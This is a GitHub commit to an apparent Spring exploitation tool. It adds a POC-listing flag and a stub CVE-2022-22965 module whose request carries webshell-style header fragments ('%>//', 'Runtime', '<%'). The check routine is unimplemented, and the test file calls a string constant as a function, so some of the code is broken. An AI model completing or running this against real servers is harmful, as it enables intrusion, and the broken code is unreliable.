Skip to content

Commit df6b52d

Browse files
committed
添加show pocs list参数 输出支持pocs列表
1 parent 4cf4ad4 commit df6b52d

File tree

6 files changed

+103
-2
lines changed

6 files changed

+103
-2
lines changed

README.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -20,10 +20,12 @@
2020
* [x] 添加支持CVE-2022-22947 (Spring Cloud Gateway SpELRCE)
2121
* [x] 添加支持CVE-2022-22963 (Spring Cloud Function SpEL RCE)
2222
* [x] 添加支持CVE-2021-26084 (Atlassian Confluence RCE)
23-
* [ ] 添加支持CVE-2022-22965 (Spring Core RCE)
23+
* [x] 添加支持CVE-2022-22965 (Spring Core RCE)
2424
* [x] 自定义并发
2525
* [x] 自定义输出日志位置
2626
* [x] 自定义结果输出位置
27+
* [x] 支持自定义漏洞利用
28+
* [x] 支持指定ip段ex: 192.168.0.0/24
2729

2830
………
2931

cmd/commons/attack/Pocslist.go

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package attack
2+
3+
import "container/list"
4+
5+
const (
6+
CVE202222963 string = "CVE202222963"
7+
CVE202222965 string = "CVE202222965"
8+
CVE202222947 string = "CVE202222947"
9+
10+
CVE202126084 string = "CVE202126084"
11+
)
12+
13+
func GetList() *list.List {
14+
l := list.New()
15+
l.PushBack(CVE202222963)
16+
l.PushBack(CVE202222965)
17+
l.PushBack(CVE202222947)
18+
l.PushBack(CVE202126084)
19+
20+
return l
21+
}

cmd/commons/attack/attack.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
3535
pocs["CVE202222947"] = &_022.CVE202222947{}
3636
pocs["CVE202222963"] = &_022.CVE202222963{}
3737
pocs["CVE202126084"] = &_021.CVE202126084{}
38-
//pocs["CVE202222965"] = &_022.CVE202222965{}
38+
pocs["CVE202222965"] = &_022.CVE202222965{}
3939
return pocs
4040

4141
}

cmd/commons/core/options.go

+16
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@ package core
22

33
import (
44
"flag"
5+
"fmt"
6+
"github.com/SummerSec/SpringExploit/cmd/commons/attack"
57
"github.com/SummerSec/SpringExploit/cmd/logs"
68
log "github.com/sirupsen/logrus"
79
)
@@ -37,6 +39,8 @@ type Options struct {
3739
Pocs string
3840
// ip 段
3941
IP string
42+
// show pocs list
43+
SP bool
4044
}
4145

4246
func (o Options) toString() interface{} {
@@ -53,6 +57,7 @@ func ParseOptions() *Options {
5357
flag.StringVar(&options.Proxy, "proxy", "", "proxy example: -proxy=http(socks5)://127.0.0.1:8080 ")
5458
flag.BoolVar(&options.Version, "version", false, "show version")
5559
flag.BoolVar(&options.Verbose, "verbose", false, "show verbose")
60+
flag.BoolVar(&options.SP, "sp", false, "show pocs list")
5661
flag.StringVar(&options.LogFile, "log", "", "log file example: -log=/logs/logs.txt")
5762
flag.IntVar(&options.Retry, "retry", 3, "repeat request times")
5863
//flag.StringVar(&options.IP, "i", "", "ip segment example: -ip=192.168.0.1/24 ")
@@ -79,6 +84,8 @@ func ParseOptions() *Options {
7984
} else if options.IP != "" {
8085
options.File = ""
8186
options.Url = ""
87+
} else if options.SP {
88+
showPocsList()
8289
} else {
8390
//ShowBanner(v)
8491
flag.PrintDefaults()
@@ -90,6 +97,15 @@ func ParseOptions() *Options {
9097

9198
}
9299

100+
func showPocsList() {
101+
fmt.Println("Pocs list: ")
102+
ls := attack.GetList()
103+
// 遍历list,输出pocs名称
104+
for i := ls.Front(); i != nil; i = i.Next() {
105+
fmt.Println(i.Value)
106+
}
107+
}
108+
93109
func showVerbose(options *Options) {
94110
if !options.Verbose {
95111
switch options.Mode {
+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
package _022
2+
3+
import (
4+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
5+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
6+
"github.com/fatih/structs"
7+
"github.com/imroc/req/v3"
8+
log "github.com/sirupsen/logrus"
9+
)
10+
11+
type CVE202222965 struct{}
12+
13+
func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
14+
//TODO implement me
15+
log.Debugf("[+] Running CVE202222965 poc")
16+
reqinfo := req2.NewReqInfo()
17+
reqmap := structs.Map(reqinfo)
18+
headers := map[string]string{
19+
"suffix": "%>//",
20+
"c1": "Runtime",
21+
"c2": "<%",
22+
"User-Agent": utils.GetUA(),
23+
}
24+
reqmap["url"] = target
25+
26+
reqmap["headers"] = headers
27+
28+
reqmap["method"] = "POST"
29+
// 默认配置
30+
reqmap["timeout"] = hashmap["Timeout"].(int)
31+
reqmap["retry"] = hashmap["Retry"].(int)
32+
reqmap["proxy"] = hashmap["Proxy"].(string)
33+
reqmap["mode"] = hashmap["Mode"].(int)
34+
35+
// 发送请求
36+
resp := utils.Send(reqmap)
37+
p.CheckExp(resp, target, hashmap["Out"].(string))
38+
39+
}
40+
41+
func (p CVE202222965) SaveResult(target string, file string) {
42+
context := target + " 存在CVE-2022-22965漏洞\n"
43+
err := utils.SaveToFile(context, file)
44+
if err != nil {
45+
log.Debugf("[-] Save result failed")
46+
log.Debugf(err.Error())
47+
return
48+
}
49+
}
50+
51+
func (p CVE202222965) CheckExp(resp *req.Response, target string, file string) bool {
52+
//TODO implement me
53+
panic("implement me")
54+
}

cmd/test/emun.go

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package main
2+
3+
import "github.com/SummerSec/SpringExploit/cmd/commons/attack"
4+
5+
func main() {
6+
attack.CVE202222963()
7+
8+
}

0 commit comments

Comments
 (0)